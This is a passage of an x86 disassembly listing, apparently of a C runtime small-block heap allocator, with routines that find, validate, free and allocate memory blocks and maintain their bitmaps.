mov dword_49376C, ecx
mov dword_493770, 0
mov dword_493774, 0
mov dword_493764, 10h
mov eax, 1
loc_41CB37: ; CODE XREF: sub_41CAE0+26j
pop ebp
retn
sub_41CAE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CB40 proc near ; CODE XREF: sub_418030+30p
; sub_41C620+21p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, dword_493774
imul eax, 14h
mov ecx, dword_493778
add ecx, eax
mov [ebp+var_C], ecx
mov edx, dword_493778
mov [ebp+var_8], edx
loc_41CB62: ; CODE XREF: sub_41CB40+4Dj
mov eax, [ebp+var_8]
cmp eax, [ebp+var_C]
jnb short loc_41CB8F
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
sub edx, [ecx+0Ch]
mov [ebp+var_4], edx
cmp [ebp+var_4], 100000h
jnb short loc_41CB84
mov eax, [ebp+var_8]
jmp short loc_41CB91
; ---------------------------------------------------------------------------
loc_41CB84: ; CODE XREF: sub_41CB40+3Dj
mov eax, [ebp+var_8]
add eax, 14h
mov [ebp+var_8], eax
jmp short loc_41CB62
; ---------------------------------------------------------------------------
loc_41CB8F: ; CODE XREF: sub_41CB40+28j
xor eax, eax
loc_41CB91: ; CODE XREF: sub_41CB40+42j
mov esp, ebp
pop ebp
retn
sub_41CB40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CBA0 proc near ; CODE XREF: sub_418030+4Cp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
sub ecx, [eax+0Ch]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
shr edx, 0Fh
mov [ebp+var_4], edx
mov eax, 80000000h
mov ecx, [ebp+var_4]
shr eax, cl
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
and edx, eax
test edx, edx
jnz short loc_41CBF1
mov eax, [ebp+var_8]
and eax, 0Fh
test eax, eax
jnz short loc_41CBF1
mov ecx, [ebp+var_8]
and ecx, 0FFFh
test ecx, ecx
jz short loc_41CBF1
mov [ebp+var_C], 1
jmp short loc_41CBF8
; ---------------------------------------------------------------------------
loc_41CBF1: ; CODE XREF: sub_41CBA0+2Fj
; sub_41CBA0+39j ...
mov [ebp+var_C], 0
loc_41CBF8: ; CODE XREF: sub_41CBA0+4Fj
mov eax, [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_41CBA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CC00 proc near ; CODE XREF: sub_41C6D0+E8p
; sub_41C6D0+168p ...
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 3Ch
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
mov [ebp+var_3C], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
sub eax, [edx+0Ch]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
shr ecx, 0Fh
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
imul edx, 204h
mov eax, [ebp+var_3C]
lea ecx, [eax+edx+144h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
sub edx, 4
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
mov ecx, [eax]
sub ecx, 1
mov [ebp+var_30], ecx
mov edx, [ebp+var_1C]
add edx, [ebp+var_30]
mov [ebp+var_38], edx
mov eax, [ebp+var_38]
mov ecx, [eax]
mov [ebp+var_14], ecx
mov edx, [ebp+var_1C]
mov eax, [edx-4]
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
and ecx, 1
test ecx, ecx
jnz loc_41CD98
mov edx, [ebp+var_14]
sar edx, 4
sub edx, 1
mov [ebp+var_24], edx
cmp [ebp+var_24], 3Fh
jbe short loc_41CC8F
mov [ebp+var_24], 3Fh
loc_41CC8F: ; CODE XREF: sub_41CC00+86j
mov eax, [ebp+var_38]
mov ecx, [ebp+var_38]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_41CD71
cmp [ebp+var_24], 20h
jnb short loc_41CD06
mov eax, 80000000h
mov ecx, [ebp+var_24]
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+44h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+44h], ecx
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_24]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
mov [eax+4], dl
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_24]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_41CD04
mov eax, 80000000h
mov ecx, [ebp+var_24]
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax], edx
loc_41CD04: ; CODE XREF: sub_41CC00+EAj
jmp short loc_41CD71
; ---------------------------------------------------------------------------
loc_41CD06: ; CODE XREF: sub_41CC00+A5j
mov ecx, [ebp+var_24]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_3C]
mov eax, [ecx+eax*4+0C4h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov [edx+ecx*4+0C4h], eax
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_3C]
add edx, [ebp+var_24]
mov [edx+4], cl
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_41CD71
mov ecx, [ebp+var_24]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_41CD71: ; CODE XREF: sub_41CC00+9Bj
; sub_41CC00:loc_41CD04j ...
mov eax, [ebp+var_38]
mov ecx, [eax+8]
mov edx, [ebp+var_38]
mov eax, [edx+4]
mov [ecx+4], eax
mov ecx, [ebp+var_38]
mov edx, [ecx+4]
mov eax, [ebp+var_38]
mov ecx, [eax+8]
mov [edx+8], ecx
mov edx, [ebp+var_30]
add edx, [ebp+var_14]
mov [ebp+var_30], edx
loc_41CD98: ; CODE XREF: sub_41CC00+70j
mov eax, [ebp+var_30]
sar eax, 4
sub eax, 1
mov [ebp+var_28], eax
cmp [ebp+var_28], 3Fh
jbe short loc_41CDB1
mov [ebp+var_28], 3Fh
loc_41CDB1: ; CODE XREF: sub_41CC00+1A8j
mov ecx, [ebp+var_C]
and ecx, 1
test ecx, ecx
jnz loc_41CF15
mov edx, [ebp+var_1C]
sub edx, [ebp+var_C]
mov [ebp+var_34], edx
mov eax, [ebp+var_C]
sar eax, 4
sub eax, 1
mov [ebp+var_2C], eax
cmp [ebp+var_2C], 3Fh
jbe short loc_41CDE1
mov [ebp+var_2C], 3Fh
loc_41CDE1: ; CODE XREF: sub_41CC00+1D8j
mov ecx, [ebp+var_30]
add ecx, [ebp+var_C]
mov [ebp+var_30], ecx
mov edx, [ebp+var_30]
sar edx, 4
sub edx, 1
mov [ebp+var_28], edx
cmp [ebp+var_28], 3Fh
jbe short loc_41CE03
mov [ebp+var_28], 3Fh
loc_41CE03: ; CODE XREF: sub_41CC00+1FAj
mov eax, [ebp+var_2C]
cmp eax, [ebp+var_28]
jz loc_41CF0F
mov ecx, [ebp+var_34]
mov edx, [ebp+var_34]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_41CEF1
cmp [ebp+var_2C], 20h
jnb short loc_41CE86
mov edx, 80000000h
mov ecx, [ebp+var_2C]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_3C]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_3C]
add edx, [ebp+var_2C]
mov [edx+4], cl
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_41CE84
mov edx, 80000000h
mov ecx, [ebp+var_2C]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_41CE84: ; CODE XREF: sub_41CC00+26Aj
jmp short loc_41CEF1
; ---------------------------------------------------------------------------
loc_41CE86: ; CODE XREF: sub_41CC00+225j
mov ecx, [ebp+var_2C]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_2C]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
mov [eax+4], dl
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_2C]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_41CEF1
mov ecx, [ebp+var_2C]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_41CEF1: ; CODE XREF: sub_41CC00+21Bj
; sub_41CC00:loc_41CE84j ...
mov ecx, [ebp+var_34]
mov edx, [ecx+8]
mov eax, [ebp+var_34]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_34]
mov eax, [edx+4]
mov ecx, [ebp+var_34]
mov edx, [ecx+8]
mov [eax+8], edx
loc_41CF0F: ; CODE XREF: sub_41CC00+209j
mov eax, [ebp+var_34]
mov [ebp+var_1C], eax
loc_41CF15: ; CODE XREF: sub_41CC00+1B9j
mov ecx, [ebp+var_C]
and ecx, 1
test ecx, ecx
jnz short loc_41CF2B
mov edx, [ebp+var_2C]
cmp edx, [ebp+var_28]
jz loc_41D03B
loc_41CF2B: ; CODE XREF: sub_41CC00+31Dj
mov eax, [ebp+var_28]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax*8]
mov [ebp+var_20], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_20]
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_20]
mov [eax+8], ecx
mov edx, [ebp+var_20]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+var_1C]
mov edx, [ecx+4]
mov eax, [ebp+var_1C]
mov [edx+8], eax
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_1C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_41D03B
cmp [ebp+var_28], 20h
jnb short loc_41CFD4
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_28]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov [eax+4], cl
test edx, edx
jnz short loc_41CFB2
mov edx, 80000000h
mov ecx, [ebp+var_28]
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_41CFB2: ; CODE XREF: sub_41CC00+39Aj
mov eax, 80000000h
mov ecx, [ebp+var_28]
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+44h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+44h], ecx
jmp short loc_41D03B
; ---------------------------------------------------------------------------
loc_41CFD4: ; CODE XREF: sub_41CC00+377j
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_28]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov [eax+4], cl
test edx, edx
jnz short loc_41D012
mov ecx, [ebp+var_28]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_41D012: ; CODE XREF: sub_41CC00+3F5j
mov ecx, [ebp+var_28]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+0C4h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+0C4h], ecx
loc_41D03B: ; CODE XREF: sub_41CC00+325j
; sub_41CC00+36Dj ...
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_30]
mov [ecx], edx
mov eax, [ebp+var_1C]
add eax, [ebp+var_30]
mov ecx, [ebp+var_30]
mov [eax-4], ecx
mov edx, [ebp+var_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+var_8]
mov [ecx], eax
mov edx, [ebp+var_8]
cmp dword ptr [edx], 0
jnz loc_41D1C9
cmp dword_493770, 0
jz loc_41D1B8
mov eax, dword_493768
shl eax, 0Fh
mov ecx, dword_493770
mov edx, [ecx+0Ch]
add edx, eax
mov [ebp+var_18], edx
push 4000h
push 8000h
mov eax, [ebp+var_18]
push eax
call ds:dword_494450
mov edx, 80000000h
mov ecx, dword_493768
shr edx, cl
mov eax, dword_493770
mov ecx, [eax+8]
or ecx, edx
mov edx, dword_493770
mov [edx+8], ecx
mov eax, dword_493770
mov ecx, [eax+10h]
mov edx, dword_493768
mov dword ptr [ecx+edx*4+0C4h], 0
mov eax, dword_493770
mov ecx, [eax+10h]
mov dl, [ecx+43h]
sub dl, 1
mov eax, dword_493770
mov ecx, [eax+10h]
mov [ecx+43h], dl
mov edx, dword_493770
mov eax, [edx+10h]
movsx ecx, byte ptr [eax+43h]
test ecx, ecx
jnz short loc_41D116
mov edx, dword_493770
mov eax, [edx+4]
and al, 0FEh
mov ecx, dword_493770
mov [ecx+4], eax
loc_41D116: ; CODE XREF: sub_41CC00+500j
mov edx, dword_493770
cmp dword ptr [edx+8], 0FFFFFFFFh
jnz loc_41D1B8
push 8000h
push 0
mov eax, dword_493770
mov ecx, [eax+0Ch]
push ecx
call ds:dword_494450
mov edx, dword_493770
mov eax, [edx+10h]
push eax
push 0
mov ecx, dword_49377C
push ecx
call ds:dword_494350
mov edx, dword_493774
imul edx, 14h
mov eax, dword_493778
add eax, edx
mov ecx, dword_493770
add ecx, 14h
sub eax, ecx
push eax
mov edx, dword_493770
add edx, 14h
push edx
mov eax, dword_493770
push eax
call sub_426C00
add esp, 0Ch
mov ecx, dword_493774
sub ecx, 1
mov dword_493774, ecx
mov edx, [ebp+arg_0]
cmp edx, dword_493770
jbe short loc_41D1AC
mov eax, [ebp+arg_0]
sub eax, 14h
mov [ebp+arg_0], eax
loc_41D1AC: ; CODE XREF: sub_41CC00+5A1j
mov ecx, dword_493778
mov dword_49376C, ecx
loc_41D1B8: ; CODE XREF: sub_41CC00+46Fj
; sub_41CC00+520j
mov edx, [ebp+arg_0]
mov dword_493770, edx
mov eax, [ebp+var_4]
mov dword_493768, eax
loc_41D1C9: ; CODE XREF: sub_41CC00+462j
mov esp, ebp
pop ebp
retn
sub_41CC00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D1D0 proc near ; CODE XREF: sub_41BDF0+1Dp
; sub_41C6D0+99p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 38h
push esi
mov eax, dword_493774
imul eax, 14h
mov ecx, dword_493778
add ecx, eax
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_0]
add edx, 17h
and edx, 0FFFFFFF0h
mov [ebp+var_28], edx
mov eax, [ebp+var_28]
sar eax, 4
sub eax, 1
mov [ebp+var_20], eax
cmp [ebp+var_20], 20h
jge short loc_41D21C
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_20]
shr edx, cl
mov [ebp+var_24], edx
mov [ebp+var_34], 0FFFFFFFFh
jmp short loc_41D231
; ---------------------------------------------------------------------------
loc_41D21C: ; CODE XREF: sub_41D1D0+36j
mov [ebp+var_24], 0
mov ecx, [ebp+var_20]
sub ecx, 20h
or eax, 0FFFFFFFFh
shr eax, cl
mov [ebp+var_34], eax
loc_41D231: ; CODE XREF: sub_41D1D0+4Aj
mov ecx, dword_49376C
mov [ebp+var_18], ecx
loc_41D23A: ; CODE XREF: sub_41D1D0+94j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnb short loc_41D266
mov eax, [ebp+var_18]
mov ecx, [ebp+var_24]
and ecx, [eax]
mov edx, [ebp+var_18]
mov eax, [ebp+var_34]
and eax, [edx+4]
or ecx, eax
test ecx, ecx
jz short loc_41D25B
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D25B: ; CODE XREF: sub_41D1D0+87j
mov ecx, [ebp+var_18]
add ecx, 14h
mov [ebp+var_18], ecx
jmp short loc_41D23A
; ---------------------------------------------------------------------------
loc_41D266: ; CODE XREF: sub_41D1D0+70j
; sub_41D1D0+89j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnz loc_41D34D
mov eax, dword_493778
mov [ebp+var_18], eax
loc_41D27A: ; CODE XREF: sub_41D1D0+D7j
mov ecx, [ebp+var_18]
cmp ecx, dword_49376C
jnb short loc_41D2A9
mov edx, [ebp+var_18]
mov eax, [ebp+var_24]
and eax, [edx]
mov ecx, [ebp+var_18]
mov edx, [ebp+var_34]
and edx, [ecx+4]
or eax, edx
test eax, eax
jz short loc_41D29E
jmp short loc_41D2A9
; ---------------------------------------------------------------------------
loc_41D29E: ; CODE XREF: sub_41D1D0+CAj
mov eax, [ebp+var_18]
add eax, 14h
mov [ebp+var_18], eax
jmp short loc_41D27A
; ---------------------------------------------------------------------------
loc_41D2A9: ; CODE XREF: sub_41D1D0+B3j
; sub_41D1D0+CCj
mov ecx, [ebp+var_18]
cmp ecx, dword_49376C
jnz loc_41D34D
loc_41D2B8: ; CODE XREF: sub_41D1D0+104j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnb short loc_41D2D6
mov eax, [ebp+var_18]
cmp dword ptr [eax+8], 0
jz short loc_41D2CB
jmp short loc_41D2D6
; ---------------------------------------------------------------------------
loc_41D2CB: ; CODE XREF: sub_41D1D0+F7j
mov ecx, [ebp+var_18]
add ecx, 14h
mov [ebp+var_18], ecx
jmp short loc_41D2B8
; ---------------------------------------------------------------------------
loc_41D2D6: ; CODE XREF: sub_41D1D0+EEj
; sub_41D1D0+F9j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnz short loc_41D327
mov eax, dword_493778
mov [ebp+var_18], eax
loc_41D2E6: ; CODE XREF: sub_41D1D0+135j
mov ecx, [ebp+var_18]
cmp ecx, dword_49376C
jnb short loc_41D307
mov edx, [ebp+var_18]
cmp dword ptr [edx+8], 0
jz short loc_41D2FC
jmp short loc_41D307
; ---------------------------------------------------------------------------
loc_41D2FC: ; CODE XREF: sub_41D1D0+128j
mov eax, [ebp+var_18]
add eax, 14h
mov [ebp+var_18], eax
jmp short loc_41D2E6
; ---------------------------------------------------------------------------
loc_41D307: ; CODE XREF: sub_41D1D0+11Fj
; sub_41D1D0+12Aj
mov ecx, [ebp+var_18]
cmp ecx, dword_49376C
jnz short loc_41D327
call sub_41D710
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_41D327
xor eax, eax
jmp loc_41D701
; ---------------------------------------------------------------------------
loc_41D327: ; CODE XREF: sub_41D1D0+10Cj
; sub_41D1D0+140j ...
mov edx, [ebp+var_18]
push edx
call sub_41D820
add esp, 4
mov ecx, [ebp+var_18]
mov edx, [ecx+10h]
mov [edx], eax
mov eax, [ebp+var_18]
mov ecx, [eax+10h]
cmp dword ptr [ecx], 0FFFFFFFFh
jnz short loc_41D34D
xor eax, eax
jmp loc_41D701
; ---------------------------------------------------------------------------
loc_41D34D: ; CODE XREF: sub_41D1D0+9Cj
; sub_41D1D0+E2j ...
mov edx, [ebp+var_18]
mov dword_49376C, edx
mov eax, [ebp+var_18]
mov ecx, [eax+10h]
mov [ebp+var_38], ecx
mov edx, [ebp+var_38]
mov eax, [edx]
mov [ebp+var_30], eax
cmp [ebp+var_30], 0FFFFFFFFh
jz short loc_41D390
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov eax, [ebp+var_24]
and eax, [edx+ecx*4+44h]
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov esi, [ebp+var_34]
and esi, [edx+ecx*4+0C4h]
or eax, esi
test eax, eax
jnz short loc_41D3C5
loc_41D390: ; CODE XREF: sub_41D1D0+19Bj
mov [ebp+var_30], 0
loc_41D397: ; CODE XREF: sub_41D1D0+1F3j
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov edx, [ebp+var_24]
and edx, [ecx+eax*4+44h]
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov esi, [ebp+var_34]
and esi, [ecx+eax*4+0C4h]
or edx, esi
test edx, edx
jnz short loc_41D3C5
mov edx, [ebp+var_30]
add edx, 1
mov [ebp+var_30], edx
jmp short loc_41D397
; ---------------------------------------------------------------------------
loc_41D3C5: ; CODE XREF: sub_41D1D0+1BEj
; sub_41D1D0+1E8j
mov eax, [ebp+var_30]
imul eax, 204h
mov ecx, [ebp+var_38]
lea edx, [ecx+eax+144h]
mov [ebp+var_4], edx
mov [ebp+var_20], 0
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov edx, [ebp+var_24]
and edx, [ecx+eax*4+44h]
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jnz short loc_41D412
mov [ebp+var_20], 20h
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov edx, [ebp+var_34]
and edx, [ecx+eax*4+0C4h]
mov [ebp+var_1C], edx
loc_41D412: ; CODE XREF: sub_41D1D0+226j
; sub_41D1D0+259j
cmp [ebp+var_1C], 0
jl short loc_41D42B
mov eax, [ebp+var_1C]
shl eax, 1
mov [ebp+var_1C], eax
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
jmp short loc_41D412
; ---------------------------------------------------------------------------
loc_41D42B: ; CODE XREF: sub_41D1D0+246j
mov edx, [ebp+var_20]
mov eax, [ebp+var_4]
mov ecx, [eax+edx*8+4]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
mov eax, [edx]
sub eax, [ebp+var_28]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
sar ecx, 4
sub ecx, 1
mov [ebp+var_14], ecx
cmp [ebp+var_14], 3Fh
jle short loc_41D45C
mov [ebp+var_14], 3Fh
loc_41D45C: ; CODE XREF: sub_41D1D0+283j
mov edx, [ebp+var_14]
cmp edx, [ebp+var_20]
jz loc_41D680
mov eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_41D54A
cmp [ebp+var_20], 20h
jge short loc_41D4DF
mov eax, 80000000h
mov ecx, [ebp+var_20]
shr eax, cl
not eax
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov ecx, [edx+ecx*4+44h]
and ecx, eax
mov edx, [ebp+var_30]
mov eax, [ebp+var_38]
mov [eax+edx*4+44h], ecx
mov ecx, [ebp+var_38]
add ecx, [ebp+var_20]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_38]
add eax, [ebp+var_20]
mov [eax+4], dl
mov ecx, [ebp+var_38]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_41D4DD
mov eax, 80000000h
mov ecx, [ebp+var_20]
shr eax, cl
not eax
mov ecx, [ebp+var_18]
mov edx, [ecx]
and edx, eax
mov eax, [ebp+var_18]
mov [eax], edx
loc_41D4DD: ; CODE XREF: sub_41D1D0+2F3j
jmp short loc_41D54A
; ---------------------------------------------------------------------------
loc_41D4DF: ; CODE XREF: sub_41D1D0+2AEj
mov ecx, [ebp+var_20]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov eax, [ecx+eax*4+0C4h]
and eax, edx
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+ecx*4+0C4h], eax
mov eax, [ebp+var_38]
add eax, [ebp+var_20]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_38]
add edx, [ebp+var_20]
mov [edx+4], cl
mov eax, [ebp+var_38]
add eax, [ebp+var_20]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_41D54A
mov ecx, [ebp+var_20]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+var_18]
mov ecx, [eax+4]
and ecx, edx
mov edx, [ebp+var_18]
mov [edx+4], ecx
loc_41D54A: ; CODE XREF: sub_41D1D0+2A4j
; sub_41D1D0:loc_41D4DDj ...
mov eax, [ebp+var_10]
mov ecx, [eax+8]
mov edx, [ebp+var_10]
mov eax, [edx+4]
mov [ecx+4], eax
mov ecx, [ebp+var_10]
mov edx, [ecx+4]
mov eax, [ebp+var_10]
mov ecx, [eax+8]
mov [edx+8], ecx
cmp [ebp+var_8], 0
jz loc_41D680
mov edx, [ebp+var_14]
mov eax, [ebp+var_4]
lea ecx, [eax+edx*8]
mov [ebp+var_C], ecx
mov edx, [ebp+var_10]
mov eax, [ebp+var_C]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_10]
mov eax, [ebp+var_C]
mov [edx+8], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+var_10]
mov [ecx+4], edx
mov eax, [ebp+var_10]
mov ecx, [eax+4]
mov edx, [ebp+var_10]
mov [ecx+8], edx
mov eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_41D680
cmp [ebp+var_14], 20h
jge short loc_41D61A
mov eax, [ebp+var_38]
add eax, [ebp+var_14]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov [edx+4], al
test ecx, ecx
jnz short loc_41D5F8
mov eax, 80000000h
mov ecx, [ebp+var_14]
shr eax, cl
mov ecx, [ebp+var_18]
mov edx, [ecx]
or edx, eax
mov eax, [ebp+var_18]
mov [eax], edx
loc_41D5F8: ; CODE XREF: sub_41D1D0+410j
mov edx, 80000000h
mov ecx, [ebp+var_14]
shr edx, cl
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov eax, [ecx+eax*4+44h]
or eax, edx
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+ecx*4+44h], eax
jmp short loc_41D680
; ---------------------------------------------------------------------------
loc_41D61A: ; CODE XREF: sub_41D1D0+3EEj
mov eax, [ebp+var_38]
add eax, [ebp+var_14]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov [edx+4], al
test ecx, ecx
jnz short loc_41D657
mov ecx, [ebp+var_14]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_18]
mov edx, [ecx+4]
or edx, eax
mov eax, [ebp+var_18]
mov [eax+4], edx
loc_41D657: ; CODE XREF: sub_41D1D0+46Aj
mov ecx, [ebp+var_14]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov eax, [ecx+eax*4+0C4h]
or eax, edx
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+ecx*4+0C4h], eax
loc_41D680: ; CODE XREF: sub_41D1D0+292j
; sub_41D1D0+39Cj ...
cmp [ebp+var_8], 0
jz short loc_41D69A
mov eax, [ebp+var_10]
mov ecx, [ebp+var_8]
mov [eax], ecx
